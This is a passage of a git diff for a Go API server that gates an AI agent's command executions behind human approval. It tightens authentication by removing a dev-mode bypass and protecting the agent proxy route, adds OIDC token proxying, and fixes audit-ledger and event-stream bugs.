"action": action, "target": targetSlug, "duration_ms": durationMs,
|
||||
@@ -205,6 +624,64 @@ func executeApprovedAction(ctx context.Context, pool *db.Pool, execID uuid.UUID,
|
||||
"execution_id", execID, "action", action, "status", status, "duration_ms", durationMs)
|
||||
}
|
||||
|
||||
// jsonErr builds a valid {"error": "..."} JSON payload for an execution's
|
||||
// result column. Always use this instead of fmt.Sprintf'ing JSON by hand —
|
||||
// error text and command output routinely contain quotes/backslashes that
|
||||
// break a hand-built string and fail the ::jsonb cast.
|
||||
func jsonErr(format string, args ...any) []byte {
|
||||
b, _ := json.Marshal(map[string]any{"error": fmt.Sprintf(format, args...)})
|
||||
return b
|
||||
}
|
||||
|
||||
// resolveTemplate maps a requested template name to one actually present in
|
||||
// the host's template cache. Exact match wins; a bare distro hint (e.g.
|
||||
// "debian-13" or "debian") matches by prefix; empty picks the newest debian
|
||||
// (falling back to any) template available. Returns "" when nothing fits.
|
||||
// gatewayPreflightPassed interprets the PREFLIGHT_OK/PREFLIGHT_FAIL markers
|
||||
// from the pct_create gateway pre-flight check. Pulled out as its own
|
||||
// function (rather than an inline strings.Contains at the call site) so it's
|
||||
// unit-testable: a prior version checked for "REACHABLE", which is a
|
||||
// substring of "UNREACHABLE" — the check could never actually fail, and it
|
||||
// took a live deployment to notice. Exact-match markers plus a test make
|
||||
// that specific bug class structurally unable to recur silently.
|
||||
func gatewayPreflightPassed(out string) bool {
|
||||
return strings.TrimSpace(out) == "PREFLIGHT_OK"
|
||||
}
|
||||
|
||||
func resolveTemplate(requested string, available []string) string {
|
||||
if len(available) == 0 {
|
||||
return ""
|
||||
}
|
||||
if requested != "" {
|
||||
for _, a := range available {
|
||||
if a == requested {
|
||||
return a
|
||||
}
|
||||
}
|
||||
for _, a := range available {
|
||||
if strings.HasPrefix(a, requested) {
|
||||
return a
|
||||
}
|
||||
}
|
||||
}
|
||||
// Auto-pick: prefer debian, then the lexically-greatest (newest version).
|
||||
best := ""
|
||||
for _, a := range available {
|
||||
if strings.Contains(a, "debian") && a > best {
|
||||
best = a
|
||||
}
|
||||
}
|
||||
if best != "" {
|
||||
return best
|
||||
}
|
||||
for _, a := range available {
|
||||
if a > best {
|
||||
best = a
|
||||
}
|
||||
}
|
||||
return best
|
||||
}
|
||||
|
||||
// ─── Checks ────────────────────────────────────────────────────────────
|
||||
|
||||
func (s *Server) ListChecks(ctx context.Context, req gen.ListChecksRequestObject) (gen.ListChecksResponseObject, error) {
|
||||
@@ -693,7 +1170,10 @@ func (s *Server) RequestExecution(ctx context.Context, req gen.RequestExecutionR
|
||||
|
||||
q := sqlcgen.New(tx)
|
||||
|
||||
execSlug := "exec:" + id.String()[:8]
|
||||
// Full UUID, not a truncated prefix — an 8-char prefix of a UUIDv7
|
||||
// collides for real under back-to-back requests since the leading bytes
|
||||
// encode a millisecond timestamp (observed live via the MCP run tool).
|
||||
execSlug := "exec:" + id.String()
|
||||
if _, err := q.InsertEntity(ctx, sqlcgen.InsertEntityParams{
|
||||
ID: id,
|
||||
Slug: execSlug,
|
||||
@@ -971,24 +1451,66 @@ func (s *Server) DecideApproval(ctx context.Context, req gen.DecideApprovalReque
|
||||
// On approve: execute the linked gated command.
|
||||
if status == "approved" {
|
||||
var execID, targetID uuid.UUID
|
||||
var actionStr, targetSlug string
|
||||
var actionStr, targetSlug, riskClass string
|
||||
err := tx.QueryRow(ctx, `
|
||||
SELECT e.entity_id, e.target_entity_id, e.action
|
||||
SELECT e.entity_id, e.target_entity_id, e.action, e.risk_class
|
||||
FROM executions e
|
||||
WHERE e.approval_id = $1 AND e.status = 'pending_approval'
|
||||
LIMIT 1`, id).Scan(&execID, &targetID, &actionStr)
|
||||
LIMIT 1`, id).Scan(&execID, &targetID, &actionStr, &riskClass)
|
||||
if err == nil {
|
||||
// Resolve target entity slug from targetID.
|
||||
_ = tx.QueryRow(ctx, "SELECT slug FROM entities WHERE id = $1", targetID).Scan(&targetSlug)
|
||||
|
||||
go executeApprovedAction(context.Background(), s.pool, execID, targetSlug, actionStr)
|
||||
_, _ = tx.Exec(ctx, `UPDATE executions SET status = 'approved', risk_class = 'config_mutation' WHERE entity_id = $1`, execID)
|
||||
safego.Go("httpapi:executeApprovedAction", func() {
|
||||
executeApprovedAction(context.Background(), s.pool, execID, targetSlug, actionStr)
|
||||
})
|
||||
// Status only — risk_class was set correctly at request time
|
||||
// (e.g. by policy.ClassifyCommand for `run`); overwriting it to
|
||||
// a hardcoded 'config_mutation' here corrupted the audit ledger
|
||||
// for every other risk class, including destructive.
|
||||
_, _ = tx.Exec(ctx, `UPDATE executions SET status = 'approved' WHERE entity_id = $1`, execID)
|
||||
|
||||
// Approving a plan step — by ANY route (this endpoint backs both
|
||||
// the chat Approve button and chat-assent) — opens/extends the
|
||||
// agent's assent window. This is the scope gate the Nomos
|
||||
// auto-continuation worker checks: with the window open, the
|
||||
// finished execution's result is fed back to the agent so it runs
|
||||
// the plan to completion. Without opening it here, approving via
|
||||
// the button (instead of typing "go ahead") would silently not
|
||||
// auto-continue.
|
||||
var agentID *uuid.UUID
|
||||
if qerr := tx.QueryRow(ctx, "SELECT agent_id FROM executions WHERE entity_id = $1", execID).Scan(&agentID); qerr == nil && agentID != nil {
|
||||
expires := time.Now().Add(30 * time.Minute).UTC().Format(time.RFC3339)
|
||||
_, _ = tx.Exec(ctx, `INSERT INTO autonomy_settings (key, value) VALUES ($1, $2)
|
||||
ON CONFLICT (key) DO UPDATE SET value = $2`, "assent_window.agent:"+agentID.String(), expires)
|
||||
|
||||
// Approving a DESTRUCTIVE step via the button is exactly as
|
||||
// explicit as a typed "I confirm" — the operator affirmatively
|
||||
// clicked Approve on a card that said DESTRUCTIVE. Open the
|
||||
// same short, target-scoped destructive window chat-assent's
|
||||
// typed-confirm path opens, for parity: a multi-step
|
||||
// destructive recovery (stop, then destroy) shouldn't need a
|
||||
// fresh confirmation per click any more than it needs one per
|
||||
// typed phrase.
|
||||
if riskClass == "destructive" && targetSlug != "" {
|
||||
dExpires := time.Now().Add(15 * time.Minute).UTC().Format(time.RFC3339)
|
||||
_, _ = tx.Exec(ctx, `INSERT INTO autonomy_settings (key, value) VALUES ($1, $2)
|
||||
ON CONFLICT (key) DO UPDATE SET value = $2`,
|
||||
"destructive_window.agent:"+agentID.String()+".target:"+targetSlug, dExpires)
|
||||
}
|
||||
}
|
||||
|
||||
slog.Info("httpapi: approved execution queued",
|
||||
"execution_id", execID, "target", targetSlug, "action", actionStr)
|
||||
} else {
|
||||
slog.Warn("httpapi: no pending execution found for approval", "approval_id", id, "error", err)
|
||||
}
|
||||
} else {
|
||||
// Denied/revoked: reflect it on the linked execution too. Previously
|
||||
// only the approvals row changed, so the execution stayed
|
||||
// 'pending_approval' forever — any UI/poller reading execution
|
||||
// status (not approval status) never saw the decision.
|
||||
_, _ = tx.Exec(ctx, `UPDATE executions SET status = $2, completed_at = now() WHERE approval_id = $1 AND status = 'pending_approval'`, id, status)
|
||||
}
|
||||
|
||||
if err := tx.Commit(ctx); err != nil {
|
||||
|
||||
@@ -154,6 +154,7 @@ func TestPhase4MCPEndpointAlive(t *testing.T) {
|
||||
req := httptest.NewRequest("POST", "/mcp", strings.NewReader(body))
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
req.Header.Set("Accept", "application/json, text/event-stream")
|
||||
req.Header.Set("Authorization", "Bearer "+testAuthToken)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
|
||||
|
||||
@@ -12,6 +12,7 @@ import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log/slog"
|
||||
"math/big"
|
||||
"net/http"
|
||||
@@ -26,8 +27,10 @@ import (
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/dtoro/oikos/internal/httpapi/gen"
|
||||
mcphandler "github.com/dtoro/oikos/internal/mcp"
|
||||
"github.com/dtoro/oikos/internal/safego"
|
||||
"github.com/go-chi/chi/v5"
|
||||
"github.com/go-chi/chi/v5/middleware"
|
||||
"github.com/go-chi/cors"
|
||||
"github.com/golang-jwt/jwt/v5"
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
@@ -69,7 +72,7 @@ type secretsBackend interface {
|
||||
// holds a dedicated pooled connection for LISTEN. Callers MUST cancel ctx
|
||||
// before closing the pool — otherwise the held connection never releases
|
||||
// and pool.Close() deadlocks.
|
||||
func NewHandler(ctx context.Context, pool *db.Pool, cfg config.Config, uiHandler http.Handler) http.Handler {
|
||||
func NewHandler(ctx context.Context, pool *db.Pool, cfg config.Config) http.Handler {
|
||||
s := &Server{
|
||||
pool: pool,
|
||||
cfg: cfg,
|
||||
@@ -78,12 +81,21 @@ func NewHandler(ctx context.Context, pool *db.Pool, cfg config.Config, uiHandler
|
||||
}
|
||||
|
||||
// Start background SSE listener, tied to ctx for clean shutdown.
|
||||
go s.sseListener(ctx)
|
||||
// handleNotification (called per-message inside sseListener's loop) has
|
||||
// its own recover for the common case; this outer one covers the
|
||||
// connection-setup/reconnect code around it.
|
||||
safego.Go("httpapi:sse-listener", func() { s.sseListener(ctx) })
|
||||
|
||||
r := chi.NewRouter()
|
||||
r.Use(middleware.Recoverer)
|
||||
r.Use(middleware.RequestID)
|
||||
r.Use(requestLogger)
|
||||
r.Use(cors.Handler(cors.Options{
|
||||
AllowedOrigins: []string{cfg.CORSAllowedOrigin},
|
||||
AllowedMethods: []string{"GET", "POST", "PATCH", "DELETE", "OPTIONS"},
|
||||
AllowedHeaders: []string{"Authorization", "Content-Type", "If-Match"},
|
||||
MaxAge: 86400,
|
||||
}))
|
||||
|
||||
// Liveness — no auth, no audit (plan SG18). Not exposed via Caddy.
|
||||
r.Get("/healthz", func(w http.ResponseWriter, req *http.Request) {
|
||||
@@ -116,6 +128,16 @@ func NewHandler(ctx context.Context, pool *db.Pool, cfg config.Config, uiHandler
|
||||
}
|
||||
})
|
||||
|
||||
// OIDC endpoints — unauthenticated. The SPA needs the issuer + client_id
|
||||
// to build the authorization URL, and uses the token proxy to exchange
|
||||
// authorization codes and refresh tokens without CORS issues.
|
||||
r.Get("/api/v1/auth/oidc-config", func(w http.ResponseWriter, req *http.Request) {
|
||||
s.serveOIDCConfig(w, req, cfg)
|
||||
})
|
||||
r.Post("/api/v1/auth/oidc-token", func(w http.ResponseWriter, req *http.Request) {
|
||||
s.serveOIDCToken(w, req, cfg)
|
||||
})
|
||||
|
||||
strict := gen.NewStrictHandlerWithOptions(s, nil, gen.StrictHTTPServerOptions{
|
||||
RequestErrorHandlerFunc: func(w http.ResponseWriter, req *http.Request, err error) {
|
||||
writeProblem(w, req, http.StatusBadRequest, "bad request", err.Error())
|
||||
@@ -126,7 +148,7 @@ func NewHandler(ctx context.Context, pool *db.Pool, cfg config.Config, uiHandler
|
||||
gen.HandlerWithOptions(strict, gen.ChiServerOptions{
|
||||
BaseURL: "/api/v1",
|
||||
BaseRouter: r,
|
||||
Middlewares: []gen.MiddlewareFunc{combinedAuth(cfg)},
|
||||
Middlewares: []gen.MiddlewareFunc{combinedAuth(cfg, false)},
|
||||
ErrorHandlerFunc: func(w http.ResponseWriter, req *http.Request, err error) {
|
||||
writeProblem(w, req, http.StatusBadRequest, "bad request", err.Error())
|
||||
},
|
||||
@@ -137,7 +159,32 @@ func NewHandler(ctx context.Context, pool *db.Pool, cfg config.Config, uiHandler
|
||||
// registration wins). The strict-server path can't Flush() per event;
|
||||
// this one uses the real ResponseWriter for real-time delivery. It
|
||||
// inherits the router's base middleware and applies auth via With().
|
||||
r.With(combinedAuth(cfg)).Get("/api/v1/events/stream", s.serveSSE)
|
||||
// allowQueryToken=true: EventSource can't set custom headers, so the
|
||||
// SPA passes the token as ?token=... instead of Authorization.
|
||||
r.With(combinedAuth(cfg, true)).Get("/api/v1/events/stream", s.serveSSE)
|
||||
|
||||
// Custom (non-OpenAPI) route: recency-ordered knowledge + stats for the
|
||||
// Knowledge page's "what the system has learned" view. Registered after
|
||||
// HandlerWithOptions so it wins over any generated catch-all.
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/recent", s.serveRecentKnowledge)
|
||||
|
||||
// Custom (non-OpenAPI) route: full markdown content for a knowledge
|
||||
// entity (document/investigation/runbook) by its own id or slug — the
|
||||
// generated /api/v1/knowledge/{id} route (GetEntityKnowledge) answers a
|
||||
// different question (knowledge referencing this entity), not this one.
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/knowledge/content/{id}", s.serveKnowledgeContent)
|
||||
|
||||
// Custom (non-OpenAPI) routes: the global activity feed (recency-ordered,
|
||||
// unlike ListExecutions which sorts by target for pagination) and the
|
||||
// per-session "what did this session do" digest.
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/activity/recent", s.serveRecentActivity)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/activity/session/{id}", s.serveSessionDigest)
|
||||
|
||||
// Learning view: capability timeline + success trend, both derived from
|
||||
// executions (real, growing data) rather than the patterns/skills tables,
|
||||
// which are correctly modeled but have no writers anywhere yet.
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/learning/timeline", s.serveLearningTimeline)
|
||||
r.With(combinedAuth(cfg, false)).Get("/api/v1/learning/trend", s.serveLearningTrend)
|
||||
|
||||
// Mount MCP at /mcp (plan R3-10)
|
||||
nomosAgentID := uuid.Nil
|
||||
@@ -149,33 +196,30 @@ func NewHandler(ctx context.Context, pool *db.Pool, cfg config.Config, uiHandler
|
||||
if nomosAgentID == uuid.Nil && cfg.NomosAgentSlug != "" {
|
||||
_ = pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", cfg.NomosAgentSlug).Scan(&nomosAgentID)
|
||||
}
|
||||
r.With(combinedAuth(cfg)).Handle("/mcp", mcphandler.NewHandler(pool, cfg.MCPBearerToken, nomosAgentID))
|
||||
|
||||
r.Get("/ui/*", func(w http.ResponseWriter, req *http.Request) {
|
||||
if uiHandler != nil {
|
||||
uiHandler.ServeHTTP(w, req)
|
||||
}
|
||||
})
|
||||
r.Get("/ui", func(w http.ResponseWriter, req *http.Request) {
|
||||
http.Redirect(w, req, "/ui/", http.StatusMovedPermanently)
|
||||
})
|
||||
r.Get("/", func(w http.ResponseWriter, req *http.Request) {
|
||||
http.Redirect(w, req, "/ui/", http.StatusMovedPermanently)
|
||||
})
|
||||
r.With(combinedAuth(cfg, false)).Handle("/mcp", mcphandler.NewHandler(pool, cfg.MCPBearerToken, nomosAgentID))
|
||||
|
||||
if nomosURL := os.Getenv("NOMOS_PROXY_URL"); nomosURL != "" {
|
||||
target, _ := url.Parse(nomosURL)
|
||||
proxy := httputil.NewSingleHostReverseProxy(target)
|
||||
r.Mount("/agent", http.StripPrefix("/agent", proxy))
|
||||
// Was unauthenticated (pre-existing gap, predates the client/server
|
||||
// split — this mount was never wrapped in combinedAuth, unlike every
|
||||
// other custom route below). Harmless while dev-open was in effect;
|
||||
// a real hole now that every route needs a real credential.
|
||||
r.Mount("/agent", combinedAuth(cfg, false)(http.StripPrefix("/agent", proxy)))
|
||||
}
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
// combinedAuth tries OIDC JWT validation first (if configured), falls back to
|
||||
// static bearer token validation, and opens the gate in dev mode when no
|
||||
// credentials are configured.
|
||||
func combinedAuth(cfg config.Config) func(http.Handler) http.Handler {
|
||||
// combinedAuth tries OIDC JWT validation first (if configured), then falls
|
||||
// back to static bearer token validation. Every request needs a valid
|
||||
// credential — there is no dev-open bypass (closed as part of the
|
||||
// client/server split, plans/2026-07-12-wails-desktop-app.md 0.4: once the
|
||||
// SPA is a separate client, a dev-open API is reachable from any origin).
|
||||
// When allowQueryToken is set, a missing Authorization header falls back to
|
||||
// a `?token=` query param — only used for the SSE route, since EventSource
|
||||
// can't set custom headers.
|
||||
func combinedAuth(cfg config.Config, allowQueryToken bool) func(http.Handler) http.Handler {
|
||||
hasOIDC := cfg.OIDCIssuer != "" && cfg.OIDCClientID != ""
|
||||
hasStatic := cfg.APIToken != "" || cfg.MCPBearerToken != ""
|
||||
|
||||
@@ -196,31 +240,14 @@ func combinedAuth(cfg config.Config) func(http.Handler) http.Handler {
|
||||
}
|
||||
}
|
||||
|
||||
var staticTokens [][]byte
|
||||
if cfg.APIToken != "" {
|
||||
staticTokens = append(staticTokens, []byte(cfg.APIToken))
|
||||
}
|
||||
if cfg.MCPBearerToken != "" {
|
||||
staticTokens = append(staticTokens, []byte(cfg.MCPBearerToken))
|
||||
}
|
||||
|
||||
devOpen := cfg.APIEnv == "dev" && !hasStatic && !hasOIDC
|
||||
|
||||
return func(next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if devOpen {
|
||||
ctx := context.WithValue(r.Context(), actorKey, actor{
|
||||
Type: "system",
|
||||
Label: "dev:anonymous",
|
||||
ID: "dev",
|
||||
TokenType: "none",
|
||||
})
|
||||
next.ServeHTTP(w, r.WithContext(ctx))
|
||||
return
|
||||
}
|
||||
|
||||
auth := r.Header.Get("Authorization")
|
||||
raw, ok := strings.CutPrefix(auth, "Bearer ")
|
||||
if (!ok || raw == "") && allowQueryToken {
|
||||
raw = r.URL.Query().Get("token")
|
||||
ok = raw != ""
|
||||
}
|
||||
if !ok || raw == "" {
|
||||
writeProblem(w, r, http.StatusUnauthorized, "unauthorized",
|
||||
"missing bearer token")
|
||||
@@ -254,21 +281,10 @@ func combinedAuth(cfg config.Config) func(http.Handler) http.Handler {
|
||||
|
||||
// Fall back to static tokens
|
||||
if hasStatic {
|
||||
for _, t := range staticTokens {
|
||||
if subtle.ConstantTimeCompare([]byte(raw), t) == 1 {
|
||||
label := "operator:api"
|
||||
if cfg.MCPBearerToken != "" && subtle.ConstantTimeCompare([]byte(raw), []byte(cfg.MCPBearerToken)) == 1 {
|
||||
label = "agent:mcp"
|
||||
}
|
||||
ctx := context.WithValue(r.Context(), actorKey, actor{
|
||||
Type: label[:strings.IndexByte(label, ':')],
|
||||
Label: label,
|
||||
ID: raw[:8] + "...",
|
||||
TokenType: "static",
|
||||
})
|
||||
next.ServeHTTP(w, r.WithContext(ctx))
|
||||
return
|
||||
}
|
||||
if act, ok := staticTokenActor(cfg, raw); ok {
|
||||
ctx := context.WithValue(r.Context(), actorKey, act)
|
||||
next.ServeHTTP(w, r.WithContext(ctx))
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
@@ -278,6 +294,28 @@ func combinedAuth(cfg config.Config) func(http.Handler) http.Handler {
|
||||
}
|
||||
}
|
||||
|
||||
// staticTokenActor validates raw against the configured static bearer
|
||||
// tokens (API token, MCP token) in constant time and returns the resolved
|
||||
// actor. Shared between combinedAuth's header-based check and serveSSE's
|
||||
// query-param check (EventSource can't set custom headers, so the SSE
|
||||
// stream takes the token as ?token=...).
|
||||
func staticTokenActor(cfg config.Config, raw string) (actor, bool) {
|
||||
if raw == "" {
|
||||
return actor{}, false
|
||||
}
|
||||
idPrefix := raw
|
||||
if len(idPrefix) > 8 {
|
||||
idPrefix = idPrefix[:8]
|
||||
}
|
||||
if cfg.MCPBearerToken != "" && subtle.ConstantTimeCompare([]byte(raw), []byte(cfg.MCPBearerToken)) == 1 {
|
||||
return actor{Type: "agent", Label: "agent:mcp", ID: idPrefix + "...", TokenType: "static"}, true
|
||||
}
|
||||
if cfg.APIToken != "" && subtle.ConstantTimeCompare([]byte(raw), []byte(cfg.APIToken)) == 1 {
|
||||
return actor{Type: "operator", Label: "operator:api", ID: idPrefix + "...", TokenType: "static"}, true
|
||||
}
|
||||
return actor{}, false
|
||||
}
|
||||
|
||||
// jwtVerificationKey holds a parsed RSA public key or HMAC secret for JWT
|
||||
// verification, identified by its key ID (kid).
|
||||
type jwtVerificationKey struct {
|
||||
@@ -503,17 +541,143 @@ func requestLogger(next http.Handler) http.Handler {
|
||||
})
|
||||
}
|
||||
|
||||
// resolveOIDCEndpointURL derives an endpoint URL from the issuer by walking
|
||||
// up one path segment. Authentik's issuer is per-provider
|
||||
// (e.g. .../application/o/oikos/) but shared endpoints live at the parent
|
||||
// path (.../application/o/<suffix>).
|
||||
func resolveOIDCEndpointURL(issuer, suffix string) string {
|
||||
u, err := url.Parse(issuer)
|
||||
if err != nil {
|
||||
return strings.TrimRight(issuer, "/") + suffix
|
||||
}
|
||||
u.Path = strings.TrimRight(u.Path, "/")
|
||||
if idx := strings.LastIndex(u.Path, "/"); idx >= 0 {
|
||||
u.Path = u.Path[:idx]
|
||||
}
|
||||
u.Path += suffix
|
||||
return u.String()
|
||||
}
|
||||
|
||||
// resolveOIDCTokenURL derives the token endpoint URL from the issuer.
|
||||
func resolveOIDCTokenURL(issuer string) string {
|
||||
return resolveOIDCEndpointURL(issuer, "/token/")
|
||||
}
|
||||
|
||||
// serveOIDCConfig returns the OIDC issuer and client_id so the SPA can build
|
||||
// authorization URLs without hardcoding them.
|
||||
func (s *Server) serveOIDCConfig(w http.ResponseWriter, _ *http.Request, cfg config.Config) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]string{
|
||||
"issuer": cfg.OIDCIssuer,
|
||||
"client_id": cfg.OIDCClientID,
|
||||
"authorization_endpoint": resolveOIDCEndpointURL(cfg.OIDCIssuer, "/authorize/"),
|
||||
})
|
||||
}
|
||||
|
||||
// tokenExchangeBody mirrors the JSON the SPA sends to the token proxy.
|
||||
type tokenExchangeBody struct {
|
||||
GrantType string `json:"grant_type"`
|
||||
Code string `json:"code,omitempty"`
|
||||
CodeVerifier string `json:"code_verifier,omitempty"`
|
||||
RedirectURI string `json:"redirect_uri,omitempty"`
|
||||
RefreshToken string `json:"refresh_token,omitempty"`
|
||||
}
|
||||
|
||||
// serveOIDCToken proxies authorization_code and refresh_token grants to the
|
||||
// OIDC provider's token endpoint. The SPA can't POST directly to Authentik
|
||||
// because of CORS; this proxy avoids the cross-origin problem entirely.
|
||||
func (s *Server) serveOIDCToken(w http.ResponseWriter, req *http.Request, cfg config.Config) {
|
||||
if cfg.OIDCIssuer == "" || cfg.OIDCClientID == "" {
|
||||
writeProblem(w, req, http.StatusServiceUnavailable, "oidc not configured", "")
|
||||
return
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(req.Body)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid body", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
var tb tokenExchangeBody
|
||||
if err := json.Unmarshal(body, &tb); err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid token request", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
// Build the form-encoded body for Authentik's token endpoint
|
||||
form := url.Values{}
|
||||
form.Set("client_id", cfg.OIDCClientID)
|
||||
if cfg.OIDCClientSecret != "" {
|
||||
form.Set("client_secret", cfg.OIDCClientSecret)
|
||||
}
|
||||
|
||||
switch tb.GrantType {
|
||||
case "authorization_code":
|
||||
form.Set("grant_type", "authorization_code")
|
||||
form.Set("code", tb.Code)
|
||||
form.Set("code_verifier", tb.CodeVerifier)
|
||||
form.Set("redirect_uri", tb.RedirectURI)
|
||||
case "refresh_token":
|
||||
form.Set("grant_type", "refresh_token")
|
||||
form.Set("refresh_token", tb.RefreshToken)
|
||||
default:
|
||||
writeProblem(w, req, http.StatusBadRequest, "unsupported grant_type", tb.GrantType)
|
||||
return
|
||||
}
|
||||
|
||||
tokenURL := resolveOIDCTokenURL(cfg.OIDCIssuer)
|
||||
client := &http.Client{Timeout: 15 * time.Second, Transport: &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: false},
|
||||
}}
|
||||
resp, err := client.Post(tokenURL, "application/x-www-form-urlencoded", strings.NewReader(form.Encode()))
|
||||
if err != nil {
|
||||
slog.Error("oidc token proxy failed", "error", err)
|
||||
writeProblem(w, req, http.StatusBadGateway, "token endpoint unreachable", err.Error())
|
||||
return
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
respBody, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "read token response failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
if resp.StatusCode >= 400 {
|
||||
slog.Warn("oidc token endpoint returned error", "status", resp.StatusCode, "body", string(respBody))
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.WriteHeader(resp.StatusCode)
|
||||
w.Write(respBody)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
w.Header().Set("Cache-Control", "no-store")
|
||||
w.Header().Set("Pragma", "no-cache")
|
||||
w.Write(respBody)
|
||||
}
|
||||
|
||||
// ListenAndServe runs the API server with graceful shutdown on ctx cancel
|
||||
// (SG4): stop accepting, drain in-flight for up to 30s, then exit.
|
||||
func ListenAndServe(ctx context.Context, pool *db.Pool, cfg config.Config, uiHandler http.Handler) error {
|
||||
func ListenAndServe(ctx context.Context, pool *db.Pool, cfg config.Config) error {
|
||||
srv := &http.Server{
|
||||
Addr: cfg.APIListen,
|
||||
Handler: NewHandler(ctx, pool, cfg, uiHandler),
|
||||
Handler: NewHandler(ctx, pool, cfg),
|
||||
ReadHeaderTimeout: 10 * time.Second,
|
||||
}
|
||||
|
||||
errCh := make(chan error, 1)
|
||||
go func() {
|
||||
// Recovers a panic in ListenAndServe (stdlib, so extremely unlikely,
|
||||
// but an unrecovered panic here would crash the whole process rather
|
||||
// than surfacing as a normal startup error) and reports it through
|
||||
// errCh instead — the select below would otherwise just hang waiting
|
||||
// for a value that never arrives.
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
errCh <- fmt.Errorf("panic in ListenAndServe: %v", r)
|
||||
}
|
||||
}()
|
||||
slog.Info("api listening", "addr", cfg.APIListen)
|
||||
errCh <- srv.ListenAndServe()
|
||||
}()
|
||||
|
||||
@@ -146,41 +146,58 @@ func (s *Server) sseListener(ctx context.Context) {
|
||||
continue
|
||||
}
|
||||
|
||||
var p notifyPayload
|
||||
if err := json.Unmarshal([]byte(nt.Payload), &p); err != nil {
|
||||
slog.Error("sse listener unmarshal failed", "error", err)
|
||||
continue
|
||||
}
|
||||
|
||||
// Fetch full event from DB
|
||||
q := sqlcgen.New(s.pool)
|
||||
events, err := q.ListEventsAfter(ctx, sqlcgen.ListEventsAfterParams{
|
||||
ID: p.ID - 1,
|
||||
Limit: 1,
|
||||
})
|
||||
if err != nil || len(events) == 0 {
|
||||
slog.Warn("sse listener event fetch failed", "id", p.ID, "error", err)
|
||||
continue
|
||||
}
|
||||
ev := events[0]
|
||||
|
||||
// Push to broker
|
||||
s.sseBroker.push(ev)
|
||||
|
||||
// Fan out to subscribers (non-blocking send)
|
||||
s.sseMu.Lock()
|
||||
for sub := range s.sseSubs {
|
||||
select {
|
||||
case sub.ch <- ev:
|
||||
default:
|
||||
// Subscriber too slow — drop event for them
|
||||
// (they'll reconnect via Last-Event-ID)
|
||||
}
|
||||
}
|
||||
s.sseMu.Unlock()
|
||||
s.handleNotification(ctx, nt.Payload)
|
||||
}
|
||||
}
|
||||
|
||||
// handleNotification processes one pg_notify payload: decode, fetch the full
|
||||
// event, push to the broker, fan out to live subscribers. Split out of
|
||||
// sseListener's loop specifically so it can be wrapped in its own recover —
|
||||
// a panic while handling ONE notification (a malformed payload, an
|
||||
// unexpected nil somewhere in the fan-out) must not kill the whole listener
|
||||
// goroutine, which would silently stop the live event stream for every
|
||||
// connected client until the api process is restarted.
|
||||
func (s *Server) handleNotification(ctx context.Context, payload string) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
slog.Error("sse listener: panic recovered handling notification", "panic", r)
|
||||
}
|
||||
}()
|
||||
|
||||
var p notifyPayload
|
||||
if err := json.Unmarshal([]byte(payload), &p); err != nil {
|
||||
slog.Error("sse listener unmarshal failed", "error", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Fetch full event from DB
|
||||
q := sqlcgen.New(s.pool)
|
||||
events, err := q.ListEventsAfter(ctx, sqlcgen.ListEventsAfterParams{
|
||||
ID: p.ID - 1,
|
||||
Limit: 1,
|
||||
})
|
||||
if err != nil || len(events) == 0 {
|
||||
slog.Warn("sse listener event fetch failed", "id", p.ID, "error", err)
|
||||
return
|
||||
}
|
||||
ev := events[0]
|
||||
|
||||
// Push to broker
|
||||
s.sseBroker.push(ev)
|
||||
|
||||
// Fan out to subscribers (non-blocking send)
|
||||
s.sseMu.Lock()
|
||||
for sub := range s.sseSubs {
|
||||
select {
|
||||
case sub.ch <- ev:
|
||||
default:
|
||||
// Subscriber too slow — drop event for them
|
||||
// (they'll reconnect via Last-Event-ID)
|
||||
}
|
||||
}
|
||||
s.sseMu.Unlock()
|
||||
}
|
||||
|
||||
// sqlcEventToGen converts a DB event row to the canonical wire shape so the
|
||||
// SSE `data:` payload matches GET /events (snake_case keys, decoded data
|
||||
// object) rather than leaking Go field names and base64-encoded JSONB.
|
||||
@@ -209,12 +226,22 @@ func sqlcEventToGen(ev sqlcgen.Event) gen.Event {
|
||||
// writeSSE writes a single Event as an SSE message. Returns false if the
|
||||
// write failed (client disconnected). flusher may be nil (io.Pipe path,
|
||||
// which has no separate flush step).
|
||||
//
|
||||
// We deliberately DO NOT set the SSE `event:` name field, even though every
|
||||
// event has a type. A named SSE event is only delivered to a matching
|
||||
// addEventListener(type) handler, NOT to EventSource.onmessage — and the whole
|
||||
// frontend (stores/events.ts and every page that reads liveEvents) consumes the
|
||||
// stream via onmessage, reading the type from the JSON payload's `type` field.
|
||||
// Emitting `event: <type>` silently routed every event away from onmessage, so
|
||||
// the live stream delivered nothing to the UI. Leaving the name off sends all
|
||||
